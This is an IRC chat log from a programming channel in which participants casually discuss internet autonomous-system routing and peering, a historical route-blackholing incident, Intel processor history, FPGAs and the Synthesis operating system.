Assignment Policies and Procedures. 23:09:01 Deewiant: not exactly old. 23:09:06 Couple of 32-bit ones at the bottom there. 23:09:12 ah, if it's 32-bit nowadays they aren't in such short supply nowadays 23:09:15 That was my point. 23:09:16 ais523: name the ways! 23:09:22 Also shows who's 1. 23:09:22 well, the import: export: at the end 23:09:27 "please tell us your routing policy" 23:09:33 as if anyone would do that 23:09:41 the things tend to change every few minutes 23:09:51 Deewiant: not exactly 23:09:58 we know ARIN owns it, but not who they gave it to 23:10:10 True enough. 23:10:11 ais523: how many ASs would you have to operate to get a good portion of the internet down? 23:10:12 also, the fact that it's a template for an email you're supposed to send them 23:10:29 ehird: the entire internet has been brought down by misconfiguring 1 before 23:10:35 wait, entire? 23:10:35 I'd need a network map to be sure. 23:10:36 although they're more robust against that sort of thing nowadays 23:10:36 all of it? 23:10:42 when was this 23:10:50 ehird: This was probably '95 or earlier, I'd imagine. 23:10:51 a few years ago it seems 23:10:53 ais523: but, more realistically 23:10:56 and it would only have blocked inter-AS routing 23:11:07 as in, how many would you need to bring them down without much luck 23:11:19 a small ISP somewhere in Asia somehow managed to advertise a zero-length route to every IPv4 address in existence 23:11:31 Now, about the worst that happens with misconfiguration is a single AS or a group of AS's are screwed up. 23:11:33 and blackholed every IP there was as a result 23:11:40 ais523: right, but that's just local 23:11:48 no, global 23:11:52 length 0 is pretty short 23:11:56 blackholed every IP ever? 23:11:57 Also for anything that goes through there. 23:12:07 ehird: unless it was within one ISP 23:12:12 awesome. 23:12:13 ais523: A large number of ASs filter out obviously false routes. 23:12:15 Deewiant: everything /would/ go through there, it was the shortest route! 23:12:17 ais523: did anything happen to them? 23:12:18 pikhq: all of them nowadays 23:12:32 ehird: yes, they got Usenet Death Penaltied, except generalised to the whole internet 23:12:33 And it wouldn't necessarily be the shortest route. 23:12:34 seems like that sort of stuff ought to be illegal :P 23:12:43 all the ASes they were connected to terminated their agreements with them 23:12:46 There's still the hops it takes to get to that ISP. 23:12:47 ;) 23:12:47 and so they went out of busineses 23:12:52 pikhq: yes 23:13:04 operating an isp must suck 23:13:10 I agree 23:13:18 ais523: I wasn't sure if it would spread that well, but evidently so. 23:13:31 Deewiant: it wouldn't have been perfect 23:13:37 I imagine it wouldn't have affected the length-1 peering agreements 23:13:43 maybe not provider-peer-customer either 23:13:45 We've got rather brittle routing protocols. 23:13:52 anything more complicated, though, would likely have ended up being blackholed 23:13:57 oh, length 0 = you can get to me with no hops! 23:13:58 ? 23:14:00 ehird: yes 23:14:10 ais523: are they lied about a lot? 23:14:11 although that would be translated by the ASes next door 23:14:16 into "you can get to bad-ISP in one hop" 23:14:16 i'd guess so :p 23:14:20 so it starts to diffuse slightly 23:14:33 it's more fun than that 23:14:39 Length 0 means "That's one of my other interfaces." 23:14:44 ASes are known to make routes look more convoluted than they are 23:14:50 heh 23:14:53 "Don't go here, man." 23:14:57 in order to try to persuade routers to send the traffic another way 23:14:58 "It'll take you aaaaaagges. Pick the other guy." 23:15:14 ais523: so, essentially, the job of an AS operator is to ensure it gets used as little as possible? 23:15:17 yes 23:15:19 -!- coppro has joined. 23:15:20 :-D 23:15:23 and to get rid of the traffic ASAP if it turns up 23:15:34 Hi, coppro. 23:15:45 imagine you are on an AS that serves all of Europe 23:16:00 and you want to send a packet to someone in Egypt on an AS that serves all of north Africa 23:16:11 when you send it, it'll go south and then across Africa 23:16:17 because your AS is trying to get rid of it as soon as they can 23:16:23 ehird: That's the job of any AS that uses peered links. 23:16:25 hi 23:16:37 the return packet will go north and across Europe, because that AS is trying to get rid of it as fast as /it/ can 23:16:38 An AS that purchases transit has a different job. 23:16:50 Send those packets the cheapest way possible. 23:16:51 so round-trips tend to be actually round, rather than along a straight line 23:17:01 Even if that means sending it through your rack of modems. :p 23:17:08 well, yes 23:17:25 peering is all about passing as little traffic as you can, while persuading the other guy to pass as much of your traffic as you can persuade them to 23:17:46 with purchasing, you can happily pass all the traffic your customer wants as it gives you an excuse to charge them extra 23:18:30 ehird: another scary thing on that AS request form is the website-if-available 23:18:30 I think the only reason our current setup works at all is that IP is one ridiculously robust protocol. 23:18:37 "Hi, I want to start an ISP. No, I don't have a website." 23:18:39 ais523: :-D 23:19:32 I wonder if the ASs in the more socialist countries are better. :-P 23:19:39 no idea 23:20:57 x-ncc-regid: 23:21:06 that x- almost scares me more than the rest of the form 23:21:10 although I'm not entirely sure why 23:21:26 -!- impomatic has left (?). 23:21:47 ah, a bit of sanity: % Which address prefix will originate from the new AS number? 23:22:17 which means that RIPE at least are planning to tell people what sort of sanity checks to put on new ASes 23:22:35 if an ISP can only blackhole itself, it just ends up looking stupid rather than being ostracised to death 23:22:45 and I'm sure RIPE would raise eyebrows if it was given 0.0.0.0/0 23:23:01 like the top-tier ISPs end up being able to advertise 23:24:22 ais523: what does that mean? 23:24:26 the full ip space? 23:24:28 yes 23:24:38 ofc, they don't advertise the whole thing 23:24:44 but they might need to advertise any individual bit of it 23:24:50 depending on conditions elsewhere on the internet 23:25:12 because the top-tier ISPs are top-tier precisely because people pay them to route anywhere without going via a parent ISP 23:25:29 ais523: with all of these variables, I bet you could derive a mathematical proof that the internet can't possibly work 23:25:56 as I've said before, it's been proven that it's uncomputable to determine whether it works at any given instant, even with perfect information 23:25:58 which nobody has 23:26:06 :D 23:26:26 that's different from a proof that it can't possibly work 23:26:29 but scarier, in a way 23:30:03 ooh, ASes have their own equivalent of example.com 23:30:16 :D 23:30:18 what is it? 23:30:23 it's the range 65536-65551 23:30:36 I have no idea what happens if you attempt to route there 23:30:41 you'd have to be an ISP to even /try/ 23:31:03 well, then, let's fill out that form and see 23:31:11 (↑ this is the kind of attitude I take to everything) 23:31:45 RIPE would ask you to take out an account with them, I expect 23:31:52 are they even the right continent? 23:32:20 yep, RIPE do Europe 23:32:26 see? we're all set. 23:32:49 there are instructions for filling out the form: http://www.ripe.net/ripe/docs/asnsupport.html 23:33:24 Enter your Registry Identifier (RegID) in the "x-ncc-regid:" field. RegIDs have the following format: .. 23:33:25 If you do not know your RegID, please contact . 23:33:26 Or, make one up! 23:33:31 uk.ehirdnet 23:33:55 AS Number Type: 16-bit 23:33:55 Why 16-bit: Our routers are not 32-bit enabled. 23:33:56 brilliant 23:34:02 you can saturate the net with a perfect excuse! 23:34:10 ehird: you may have problem filling in the bit where you mark the two ASs who will peer with you 23:34:25 getting two existing ISPs to sponsor your application is likely beyond even your ability 23:34:26 ais523: Bogons operates an open peering policy, and is keen to peer with ISPs, either publicly at a common Peering Point, or privately at a common site. We are especially keen to peer with networks offering multicast transit or to end users. 23:34:27 —bogons.net 23:34:34 haha 23:34:38 it's two people, but unfortunately I think they're too ethical 23:34:41 do you even /own/ an AS router? 23:34:46 well... no? 23:34:54 how much do they cost :^) 23:35:01 apparently you can convert linux boxes into them 23:35:09 set 23:35:09 so you could probably fix an old computer into one for free 23:35:29 do I need any sort of special telephone line or something, like you need to start a dsl isp :-P 23:36:10 seriously, you aren't going through with this, though, are you? 23:36:21 I seriously wonder what RIPE's reaction would be 23:36:25 this is a form of performance art 23:36:30 like Agora running a court case against Hillary Clinton 23:36:33 i'm tempted now 23:36:47 even though all the effort would come down to "We have decided to decline your AS application. -RIPE" 23:37:02 yes 23:37:11 also, another point 23:37:15 what IPs would you advertise? 23:37:21 ais523: can you choose? 23:37:24 it can't be ones you already have, as they belong to a different ISP 23:37:30 you have to rent out the IPs first 23:37:37 from the people who assign IPs 23:37:37 hmm 23:37:48 going IPv6 only would probably make it easier to get hold of a few IPs of your own 23:37:48 ais523: advertising more IPs = more traffic coming my way, right? 23:38:00 ehird: traffic comes your way only if it's to an IP you advertise 23:38:04 ah 23:38:07 thats 23:38:07 and you get in trouble if you don't actually have a route to it 23:38:10 rather limited 23:38:19 you also advertise IPs that belong to your customers 23:38:22 but not your peers 23:38:24 and, um, I'm going to be routing everything to the AS example.com 23:38:28 because you don't carry traffic to other people 23:38:30 I think "trouble" is an understatement 23:38:38 (ok, I probably won't follow through with it...) 23:39:12 probably not following through is all the best 23:39:12 ais523: so how do you actually get traffic flow your way? 23:39:21 well, most ISPs consider that a bad thing 23:39:32 but if you're the (only|best) person who advertises an address 23:39:42 then traffic to that address is sent to you, on the assumption that you know where to route it to 23:39:49 so ISPs advertise the IPs of their customers, for instance 23:39:50 wow, if you enable javascript on slashdot.org 23:39:53 you get the endless pageless style 23:39:58 (more items come as you scroll) 23:40:06 yes, but so slowly it doesn't really feel endless 23:40:13 fast enough for me 23:40:22 ais523: the problem is that they don't do it before you get to the end 23:40:23 which is the whole point 23:40:26 yes 23:41:45 http://tech.slashdot.org/article.pl?sid=09/05/14/0320234 "Cory Doctorow advocates impossible licensing technique in a desperate death throw attempt to give bits value" 23:42:12 creative commons + a royalty requirement? 23:42:18 has he checked that that isn't self-contradictory? 23:42:20 it probably isn't 23:42:32 but I'd advise at least reading the license you're modifying first 23:42:44 Cory was one of the first major CC advocates 23:42:46 so I assume so 23:42:54 for instance, with cc-by-sa + royalty requirement, who gets the royalties, the original author or the person who modified it? 23:43:45 http://oxyron-party.untergrund.net/fanta_in_space.mp3 ← I can't believe this came out of a C-64. 23:43:50 pretty cool 23:44:02 hmm... http://en.wikipedia.org/wiki/Tier_1_carrier is interesting 23:44:22 Ah yes, Tier-1s. 23:44:39 By definition, a Tier 1 network does not purchase IP transit from any other network or pay settlements to any other network to reach any other portion of the Internet. Therefore, in order to be a Tier 1, a network must peer with every other Tier 1 network. A new network cannot become a Tier 1 without the implicit approval of every other Tier 1 network, since any one network's refusal to peer with it will prevent the new network from being considered a Ti 23:44:41 er 1. 23:44:43 the funny thing, of course, is that most traffic's handled by peering at the tier-2 level 23:44:43 c-b-l 23:45:02 actually, the list of tier 1 networks is rather disturbing 23:45:05 and yes, if there are any two tier 1 networks who don't peer, it causes a rift in the internet 23:45:11 most of them are gigantic blob ISPs 23:45:21 like AT&T, Verio, Qwest, Sprint, Verizon... 23:45:28 there are other ways to do that, but tier 1 vs. tier 1 is a rather simple way 23:45:59 ooh, Cogent settled with Sprint 23:46:05 I was wondering how that particular rift got sealed 23:46:14 but it seems Cogent's paying Sprint money now to maintain the same relationship as before 23:46:28 I've never heard good stuff about Cogent 23:46:55 A case of industrial espionage arose in 1995 that involved both Intel and AMD. Guillermo Gaede, an Argentine formerly employed both at AMD and at Intel's Arizona plant, was arrested for attempting in 1993 to sell the i486 and Pentium designs to AMD and to certain foreign powers.[23] Gaede videotaped data from his computer screen at Intel and mailed it to AMD, which immediately alerted Intel and authorities, resulting in Gaede's arrest. Gaede was convicte 23:46:57 d and sentenced to 33 months in prison in June 1996.[24][25] 23:47:11 "I'm just going to send this to AMD out of the blue. They'll like that!" 23:47:47 wait, AMD alerted Intel? 23:47:50 yes 23:47:54 respect++ 23:47:55 if someone sends you a competitor's secret stuff 23:48:01 you tell them so as not to be accused of using it 23:48:08 that's not really respect 23:48:13 that's just sanity 23:48:13 oh, godo point 23:48:17 *good 23:48:17 it's a very trivial kind of ethics 23:48:17 or CYA, I suppose 23:48:23 that even slimes probably know of :P 23:48:38 http://upload.wikimedia.org/wikipedia/commons/f/fc/Intel_Costa_12_2007_SJO_105b.jpg the little blocks look like heatsinks. 23:49:18 Intel is actually a giant processor 23:49:20 "No one has an office; everyone, even Otellini, sits in a cubicle."—[[Intell Corporation]] 23:49:22 *Intel 23:49:24 How dreary. 23:49:37 nah, the entire company of Intel lives inside my computer 23:49:45 have you not seen their advertising? 23:49:45 ais523: what happens when you turn it off? 23:49:52 ehird: presumably they keep working 23:49:58 they're large enough to have their own power supply 23:50:04 * ehird 's brain explodes 23:50:21 ais523: so if you left it off long enough ... 23:50:42 well, presumably they sometimes get hungry and pop out for a pizza 23:50:47 but they're american, so they only do it while I'm asleep 23:50:56 timezone difference, you see 23:51:02 must be a dangerous place for someone so small 23:51:05 nanometer-scale 23:51:41 wow, intel kept the same logo from 1968-2005 23:51:51 and then changed it? no wonder they're in trouble 23:52:03 http://upload.wikimedia.org/wikipedia/en/9/93/Intel_Logo.svg old 23:52:04 http://upload.wikimedia.org/wikipedia/en/c/c9/Intel-logo.svg new 23:52:05 changing a logo you haven't changed for decades strikes me as the sort of thing companies only do when desperate 23:52:07 I prefer the new one tbh 23:52:28 yes, even if it is an improvement, it's not the sort of thing a company does when they're doing well 23:52:40 and I prefer the new one too 23:52:44 ais523: I think Intel were doing well in 2005. Remember, they came out with the Core 2 processors then. 23:52:48 Those were *wildly* successful. 23:53:04 wait no 23:53:06 that was 2006 23:53:07 Core was 2005 23:53:14 Core doesn't run the Core architecture 23:53:19 Core 2 runs the Core architecture; are you confused yet? 23:53:35 oh, and Core weren't desktop CPUs 23:53:44 they were mobile cpus based on P6 23:53:45 core 2 was one of Intel's first really succesfull CPUs in ages 23:53:46 not NetBurst 23:53:51 oh wait, core was 2006-2008 23:53:54 so you had core and core 2 simultaneously 23:54:00 core was based on P6 and was a mobile processor 23:54:06 core 2 was based on Core and was a desktop processor 23:54:12 except 23:54:19 the Core processor appeared in the mac mini 23:54:24 despite not being a desktop processor 23:54:27 are you confused yet? 23:56:04 no, but only because I wasn't trying to follow it 23:56:11 good coice 23:56:12 choice 23:57:20 anyway, if you want to screw around with ASes, it only takes a minimum 8 computers to make an Internet 23:57:33 yes, the traditional Jeremy Clarkson deliberate error is correct here 23:57:39 :-D 23:57:44 The Internets connect to form an Internet! 23:57:49 in fact, it's generally believed that more than one Internet exists as it is, there's just the one big famous one 23:58:16 and if you make your own Internet, you can assign all the AS numbers and IPs as you like 23:58:18 "generally believed"? 23:58:28 well, the US Army almost certainly has one 23:58:34 an internet is just a network of computers that is international :P 23:58:34 but it's hard to tell for certain 23:58:39 ehird: not quite 23:58:43 an internet is a network of network 23:58:45 *networks 23:58:50 ais523: step one, join army, step two, see if there's any internets? 23:59:11 I imagine the Army mostly uses the well-known public Internet 23:59:15 (step 3, get killed in staged combat so you don't reveal the horrible secret of the army's cthulhunet) 23:59:27 but I wouldn't be surprised if it had a private one too, for more important or secret messages 23:59:37 Intellipedia is known to exist, after all 23:59:47 it's like a US Wikipedia for spies 23:59:50 it even runs MediaWiki 23:59:52 more than known to exist 23:59:52 http://upload.wikimedia.org/wikipedia/commons/2/22/Screenshot-Intellipedia.png 23:59:55 a screenshot 23:59:57 wow 2009-05-15: 00:00:14 "ANYONE USING THIS SYSTEM EXPRESSLY CONSENTS TO MONITORING" 00:00:19 just put words in my mouth why don't you! 00:00:28 https://www.intelink.gov/ 00:00:30 login page 00:06:19 . 00:06:32 login page is not at all surprising 00:06:44 I certainly imagine intellipedia doesn't have much vandalism 00:06:48 people would likely get fired for that 00:08:00 :P 00:12:00 mm, i can't wait to get my new machine 00:12:08 I'm becoming increasingly dissatisfied with os x 00:12:11 *os x 00:30:20 bye 00:30:34 is that bye #esoteric, or bye OS X? 00:30:42 and what are you disliking about it atm? 00:33:36 I guess that was bye #esoteric 00:49:26 -!- psygnisfive has joined. 00:49:37 neiho. 00:51:33 hi 00:57:46 hey man 01:01:57 haha: http://en.wikipedia.org/w/index.php?title=Therac-25.&action=history 01:02:05 someone at reddit typoed a link to Wikipedia 01:02:16 and instead of editing the link, they just edited Wikipedia to add in a redirect 01:05:13 -!- kerlo has quit (Remote closed the connection). 01:05:13 -!- thutubot has quit (Remote closed the connection). 01:06:20 -!- inurinternet has quit (No route to host). 01:08:49 -!- puzzlet has joined. 01:09:37 -!- puzzlet_ has quit (Remote closed the connection). 01:17:09 -!- darthnuri has joined. 01:19:56 -!- puzzlet has quit (Remote closed the connection). 01:19:59 -!- puzzlet has joined. 01:27:08 -!- puzzlet_ has joined. 01:27:15 -!- puzzlet has quit (Remote closed the connection). 01:27:26 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)). 01:32:07 -!- puzzlet has joined. 01:41:43 -!- olsner has joined. 01:49:20 -!- kerlo has joined. 01:50:32 -!- kerlo has left (?). 02:11:18 -!- darthnuri has changed nick to inurinternet. 02:12:46 LAWLZ 02:40:15 -!- jix_ has quit ("leaving"). 02:55:21 ehird,fizzie : you should do `load "$",8', then `list', without the `,1' secondary address to `load' 02:57:07 (istr with the `,1' it will load the directory (as a BASIC program) on $0400, which is the start of the screen memory on C64 .. it might have been that $0400 was the start of BASIC program memory on older PET machines, i'm not sure) 02:58:44 (the `,1' basically tells `load' to load the program not into the current BASIC memory, but instead to the address that the program was saved from .. in the case of the directory, though, the "program" is synthesized by the disk drive, so it just invents the origin address $0400 for some reason) 03:20:13 -!- bsmntbombdood has joined. 03:20:17 finally got some debian 03:20:23 Goody. 04:21:01 -!- oerjan has joined. 05:06:54 -!- ais523 has quit (Remote closed the connection). 05:07:58 -!- ais523 has joined. 05:30:33 -!- Gracenotes has quit (Remote closed the connection). 05:31:29 -!- Gracenotes has joined. 06:10:50 -!- coppro has quit (Read error: 110 (Connection timed out)). 06:28:38 -!- ais523 has quit (Remote closed the connection). 06:45:34 -!- oerjan has quit ("leaving"). 07:16:23 -!- bsmntbombdood has quit (Remote closed the connection). 07:25:51 -!- bsmntbombdood has joined. 07:43:45 xset b 35 440 75 07:59:52 wtf! 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:02 my load average goes above 1 while watching flash video 08:00:04 so much for fast 08:00:26 -!- tombom has joined. 08:03:24 -!- kar8nga has joined. 08:04:25 That's rather curious; on this work-workstation, playing a random U-tube video results in ~18% CPU usage for Firefox, and ~8% for Xorg. 08:09:35 90% xul-runner, 85% xorg 08:12:40 it's also giving me all sorts of weird artifacts... 08:27:13 * ski__ listens to `Turkish_towel' 08:29:22 -!- kar8nga has quit (Remote closed the connection). 09:39:10 -!- BeholdMyGlory has joined. 10:11:16 -!- bsmntbombdood has quit (Remote closed the connection). 10:13:08 -!- Slereah_ has quit. 10:18:06 -!- Slereah has joined. 10:36:21 -!- BeholdMyGlory has quit (Remote closed the connection). 10:57:52 -!- darthnuri has joined. 11:14:18 -!- inurinternet has quit (Read error: 110 (Connection timed out)). 11:42:25 -!- jix has joined. 12:32:15 -!- MizardX has quit ("What are you sinking about?"). 12:49:56 -!- asiekierka has joined. 12:49:57 hi 12:50:05 I had an idea on how to not waste ram with function i won't use later on 12:50:20 I basically make a slot of $100 or $200 bytes, and then after the init function is done 12:50:21 i clear it 12:50:24 which gives me saving 12:50:26 s 12:50:47 after execution is finished, i get about 128 bytes of saving for now 12:50:54 also, I have a routine to clear blocks of $100 now 12:52:18 As well as I have finally fixed putc (just need to do backspace and cursor), and I did HextoStr and stuff 13:07:05 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 13:16:10 1010 bytes, everything except backspace is done 13:16:16 And I planned 8KB for my kernel... 13:16:27 -!- darthnuri has quit (Connection timed out). 13:19:40 -!- tombom has quit ("Peace and Protection 4.22.2"). 13:22:47 -!- KingOfKarlsruhe has joined. 13:29:31 -!- jix has quit ("i shouldn't use irc now!!"). 13:33:24 -!- inurinternet has joined. 13:54:19 -!- jix has joined. 14:14:32 -!- oerjan has joined. 14:26:04 -!- KingOfKarlsruhe has quit (Remote closed the connection). 14:48:03 -!- MizardX has joined. 15:19:45 -!- FireFly has joined. 15:49:52 -!- inurinternet has quit (No route to host). 16:05:54 23:30 ais523: and what are you disliking about it atm? 16:05:57 it's too conventional 16:05:59 also, bsmntbombdood: 16:06:06 make sure you have the proprietary flash player, 16:06:08 disable hyperthreading, 16:06:13 and make sure you have the proper nvidia drivers 16:06:17 preferably the proprietary ones 16:06:29 also you can't edit links on reddit 16:18:04 -!- inurinternet has joined. 16:37:05 * pikhq discovers that the IBM mainframe hypervisor was released as public domain until the mid-80s... 16:43:56 -!- BeholdMyGlory has joined. 16:45:04 hypervisor is such a cool nam 16:45:04 e 16:45:08 it VISES HYPERLY 16:52:38 define:vises 16:52:44 -!- jix has quit (":("). 16:53:43 I had an idea on how to not waste ram with function i won't use later on 16:53:43 I basically make a slot of $100 or $200 bytes, and then after the init function is done 16:54:14 um, I remember seeing in the Linux kernel bootup output something like "Freeing unused SMP function variants... freed 5K" 16:54:17 or similiar 16:54:26 when run on an uniprocessor 16:54:52 I assume it would do the reverse (freeing single cpu variants) on SMP machines. 16:57:16 also, I have a routine to clear blocks of $100 now <-- fixed size memset? 16:57:57 disable hyperthreading, <-- why. 16:58:08 AnMaster: because hyperthreading is broken 16:58:26 it's (1) a hack to get around bad pipelining (2) increases cache thrashing a lot 16:58:35 aha. 16:58:41 And the Atom doesn't have bad pipelining. 16:58:42 it's unlikely that it's causing his load issues but he should disable it anyway :) 16:58:47 pikhq: it's not an atom 16:58:49 why then did Intel reintroduce it. 16:58:50 it's a nehalem :-p 16:58:55 AnMaster: marketability? 16:59:02 The Nehalem has *crazy good* pipelining. 16:59:03 hm ok 16:59:14 AnMaster: It was popular in the Pentium 4 line. 16:59:22 And the Pentium 4 sorely needed it. 16:59:30 pikhq, I had a P4 once. Early one 16:59:47 Hyperthreading made a difference on that architecture. 17:00:02 it ran at 1.8 GHz or something like that 17:00:04 iirc 17:00:21 so pretty early P4 17:00:52 I wonder when Intel will get off their butts and release Larrabee. 17:00:58 Although apparently it's crap. 17:01:41 [http://en.wikipedia.org/wiki/Larrabee_(GPU), fyi] 17:01:48 Of course, the downsides of hyperthreading are somewhat reduced on Linux, which has a hyperthreading-aware scheduler. 17:01:55 pikhq: yeah, but still 17:01:56 ehird, is it crap? that is news to me 17:01:58 that cache thrashing 17:02:02 pikhq: and also, 4 cores is enough for anyone ;-) 17:02:12 AnMaster: Larrabee's early presentation has drawn some criticism from GPU competitors. At NVISION 08, several NVIDIA employees called Intel's SIGGRAPH paper about Larrabee "marketing puff" and told the press that the Larrabee architecture was "like a GPU from 2006".[7] 17:02:17 (without one, it treats the hyperthreading CPU as two full cores. Bad performance ahoy!) 17:02:20 ofc, nvidia has a reason to be biased 17:02:27 heh 17:02:31 but... otoh, it doesn't seem like they'd outright lie 17:02:44 also, a GPU running x86 sounds fairly pointless. 17:02:55 ehird: Intel has always done low-end GPUs. That their GPUs are now from 2006 is a massive step up. 17:03:06 True enough :-) 17:03:07 haha 17:03:11 And the main draw of Larrabee is being highly programmable. 17:03:32 well so are recent nvidia and ati cards iirc 17:03:33 This is a chip you play around with real-time raytracing on. ;) 17:03:45 nvidia's cuda and whatever ati's one was called 17:03:47 They *are*, but they're a pain to program for. 17:03:52 pikhq: Nah, you need a specialized chip to do that. See Caustic Graphics; they get about 5fps. 17:03:57 (on an *FPGA*) 17:04:01 pretty impressive 17:04:13 hm 17:04:17 They're technically Turing-complete, but if your code does much branching, it's faster to do it on a CPU. 17:04:29 having a computer based completely on fpgas would be interesting 17:04:32 GPUs are for embarrasingly parallel stuff ;-) 17:04:39 would allow some interesting optimised algorithms 17:04:39 AnMaster: err, that;'s called any hobbyist computer 17:04:43 like sorting networks 17:04:46 it's also called "dog slow" 17:04:47 and what not 17:05:03 ehird, why is it so slow? Because it is hobbyist? 17:05:05 The Larrabee is also for embarassingly parallel jobs. 17:05:15 AnMaster: Because it's an FPGA! 17:05:25 ehird, good point 17:05:32 why can't you make fast FPGAs 17:05:37 ehird: They do at least get some benefit from having appropriate circuitry possible. 17:05:49 Still, you're running it at 100Mhz. 17:05:53 AnMaster: Think about how an FPGA works, and then think about fabricating silicon. 17:05:59 No contest. 17:06:03 true 17:06:11 AnMaster: FPGAs are hard as hell to make with smaller processes. 17:06:32 fair enough 17:06:38 Really, FPGAs are hard as hell to make. 17:06:38 but programmable hardware is cool anyway! 17:07:03 It's cool, but not something that you're likely to ship on a production board. 17:07:08 pikhq, how come they are used so much then. For when a ASIC would be too expensive. 17:07:38 Because ASICs are done in large batches. 17:07:52 Why order 100,000 ASICs if you need 100 FPGAs to do the same? 17:08:04 17:07 AnMaster: pikhq, how come they are used so much then. For when a ASIC would be too expensive. 17:08:07 Because ASICs are expensive 17:08:10 yeah 17:08:11 :/ 17:08:38 ever read about Synthesis? I think someone in here linked it. 17:08:47 Nope. 17:09:10 lockless SMP OS, with runtime modification. Ran on some old Motorola CPU with double-CAS instruction. 17:09:14 really interesting 17:09:18 Cool. 17:09:28 google for quajets iirc 17:09:53 hm 17:09:55 doesn't find it 17:09:57 Semiconductor fabrication scares me. It's so damn small. 17:10:25 http://lwn.net/Articles/270081/ 17:10:27 there 17:11:07 THINGS I HATE: 17:11:11 lwn.net requires fuckin' subscription. 17:11:18 Damn that crap. 17:11:19 ehird, that link didn't 17:11:22 I know. 17:11:23 ... 17:11:27 But I clicked other links on the sidebar. 17:11:30 And it asked me to pay. 17:11:33 And I irrited :-P 17:12:00 ehird, anyway I read parts of the thesis/paper/whatever, and it described testing on a system with a programmable MMU to test performance in case of two CPUs requested at once. Which is hard to test reliably. So the MMU was programmed to simulate it. 17:12:06 Cool 17:12:29 I wonder when we'll get 8-core chips from Intel 17:13:35 ehird, double-ended queues with one producer and one consumer updating at the same time, lockless. 17:13:54 AnMaster: sounds like Snake ;-) 17:14:04 ehird, as in the game snake? 17:14:06 yep 17:14:06 huh 17:14:18 care to explain that analogy? 17:14:25 every tick you lose a block at your end and get another at the start 17:14:33 consumer, producer, consumer, producer 17:14:39 hah 17:15:04 ehird, iirc they were wait-free too. 17:16:10 "The current implementation of Synthesis runs on two machines: the Quamachine and the Sony NEWS 1860 workstation. As described in section 1.3.4, the Quamachine is a home-brew, experimental 68030-based computer system designed to aid systems research and measurement. Its measurement facilities include an instruction counter, a memory reference counter, hardware program tracing, and a memory-mapped cloc 17:16:10 k with 20-nanosecond resolution. The processor can operate at any clock speed from 1 MHz up to 50 MHz. Normally it runs at 50 MHz. But by changing the processor speed and introducing waitstates into the main memory access, the Quamachine can closely emulate the performance characteristics of common workstations, simplifying measurements and comparisons." 17:16:11 :D 17:16:20 "The Quamachine also has special I/O devices that support digital music and audio signal processing: stereo 16-bit analog output, stereo 16-bit analog input, and a compact disc (CD) player digital interface." 17:16:29 compact disc (CD) 17:16:48 ehird, indeed. It is old. 17:17:02 AnMaster: I guess early 80s. 17:17:22 "The Sony NEWS 1860 is a commercially-available workstation with two 68030 processors. Its architecture is not symmetric. One processor is meant to be the main processor and the other is meant to be the I/O processor. Synthesis tries to treat it as if it were a symmetric multiprocessor, scheduling most tasks on either processor without preference, except those that require something that is accessible 17:17:22 from one processor and not the other. While this is not a large number of processors, it nevertheless helps demonstrate Synthesis multiprocessor support. But for measurement purposes of this chapter, only one processor -- the slower I/O processor -- was used. (With the kernel's multiprocessor support kept intact.)" 17:17:47 ehird, says 1992 on the front page 17:17:52 Wow. 17:17:56 Columbia University 17:17:56 1992 17:17:57 "compact disc (CD)" in 1992? 17:18:11 ehird, in a computer it certainly wasn't common 17:18:31 well, sure 17:18:40 'What do you mean a "change directory"?!" 17:18:43 Out of curiosity, is it specified what the frequency of its audio handling was? 17:18:46 s/"$/'/ 17:18:57 * AnMaster looks 17:19:12 44.1 kHz 16-bit signed little-endian PCM, I'd *assume*... 17:19:19 But you never know with older systems. ;) 17:19:50 http://valerieaurora.org/synthesis/SynthesisOS/toc.html 17:19:54 look for yourself 17:22:00 "The point is not to parade Synthesis speed nor justify the other's slowness. It is to point out that that speed is possible through careful thought and program structuring that provides just the right level of abstraction for each application. For example, one application that runs under Synthesis reads music data from the CD player, computes its Fourier transform (1024 point), and displays the resul 17:22:00 t in a window, all in real-time. It displays 88200 data points per second. This is impossible to do today using any other single-processor workstation and operating system because the abstractions provided are too expensive and just plain wrong for this particular task. This is true even though the newer Sparc-based workstations from SUN are more than four times faster then the machine running Synthes 17:22:01 is." 17:22:05 :D 17:22:41 also ehird: 17:22:43 "Worth noting is the cost of open. The simplest case, open /dev/null, takes 49 microseconds, of which about 70% are used to find the name in the directory structure and 30% for memory allocation and code synthesis to create the null read and write procedures. The additional 19 microseconds in opening /dev/tty come from generating more involved code to read and write the TTY device. Finally, opening a 17:22:43 file requires synthesizing more sophisticated code and buffer allocations, costing 17 additional microseconds." 17:22:54 49 microseconds to open /dev/null. 17:22:55 Sweet. 17:23:09 ehird, it was fast compared to mainstream then 17:23:46 ehird, check "7.2.2 Comparing Window Systems" 17:24:09 ehird: That's 50 clock cycles, I think. :p 17:25:15 AnMaster: It cites GEB! 17:25:20 ehird, where? 17:25:25 "The simplification in applications programming that occurs using this scheduler cannot be overstated. One no longer needs to worry about assigning priorities to jobs, or of carefully crafting the inner loops so that everything is executed frequently enough. For example, in Synthesis, reading from the CD player is no different than reading from any other device or file. Simply open "/dev/cd" and read 17:25:25 from it. To listen to the CD player, one could use the program in Figure 6.7. The scheduler FLL keeps the data flowing smoothly at the 44.1 KHz sampling rate -- 176 kilobytes per second for each channel -- regardless of how many CPU-intensive jobs might be executing in the background." 17:25:36 it uses feedback based scheduler 17:25:43 uses a* 17:25:44 AnMaster: on the page 17:25:51 ehird, which chapter 17:26:04 http://valerieaurora.org/synthesis/SynthesisOS/ch7.html 17:26:15 ok. Where on the page. 17:26:19 AnMaster: Somehow, I find it hard to find that impressive. 17:26:29 pikhq, by today's standards yes 17:26:31 AnMaster: grep Escher 17:26:54 ^style 17:26:59 oh wait 17:27:00 ehird, right 17:27:02 no fungot!!! :(( 17:27:08 fizzie: 17:27:09 fizzie, where is fungot! 17:27:18 ‽ 17:27:24 Probably because right now I'm decoding an 823 kilobit stream with a 44.1 kHz sampling rate to 16-bit PCM, converting it to 48 kHz sampling rate, and handing it to ALSA. :p 17:27:44 pikhq, could you do that on a CPU running at 25 MHz. 17:28:07 pikhq, with none of the advanced pipelining and branch prediction and so on 17:28:10 * pikhq wonders what the clock speed is on his Sansa... 17:28:19 Sansa? 17:28:25 Oh, right, it was that orwell.freenode.net buggery. It might be up by now. 17:28:40 fizzie, can't you use the round robin dns 17:28:46 MP3 player. 17:28:49 Running Rockbox. 17:28:56 pikhq, "rockbox"? 17:29:00 AnMaster: fungot 